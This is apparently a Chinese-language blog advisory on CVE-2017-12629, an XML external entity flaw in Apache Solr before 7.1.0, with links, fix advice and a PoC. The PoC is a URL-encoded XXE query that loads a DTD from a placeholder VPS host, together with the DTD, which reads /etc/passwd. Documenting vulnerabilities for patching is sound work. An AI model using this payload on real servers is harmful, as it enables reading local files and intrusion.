Apache solr XML 实体注入漏洞

描述:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

Apache solr<7.1.0 版本

利用:

可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

升级更高版本

添加Solr访问控制,包括禁止本地直接未授权访问

修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
软件派15 小时前
Apache Paimon终极教程——流批一体存储引擎深度解析(附Flink集成案例+性能调优代码)
apache·性能调优·流批一体·实时数据处理·paimon教程·flink集成·湖仓架构
三水不滴17 小时前
Apache RocketMQ的原理与实践
经验分享·apache·rocketmq
从此不归路19 小时前
Qt5 进阶【12】JSON/XML 数据协议处理:与后端/配置文件的对接
xml·开发语言·c++·qt·json
whale fall1 天前
celery -A tool.src.main worker --loglevel=info --queues=worker1_queue & 什么意思
python·学习·apache
方芯半导体1 天前
EtherCAT “通信 + 控制“ 的全国产化控制方案,ESC芯片(FCE1323)与国产MCU芯片功能板解析
xml·网络·单片机·嵌入式硬件·网络协议·机器人·自动化
好好研究1 天前
总结SSM设置欢迎页的方式
xml·java·后端·mvc
TracyCoder1232 天前
ElasticSearch核心引擎Apache Lucene(五):相关性算分 (Scoring)
elasticsearch·apache·lucene
码上上班2 天前
一文学会apache httpd
apache
野生技术架构师2 天前
Spring Boot 3 集成 Apache Calcite:多数据源查询的终极解决方案
spring boot·后端·apache
TracyCoder1233 天前
ElasticSearch核心引擎Apache Lucene(四):段 (Segment) 的设计与合并
elasticsearch·apache·lucene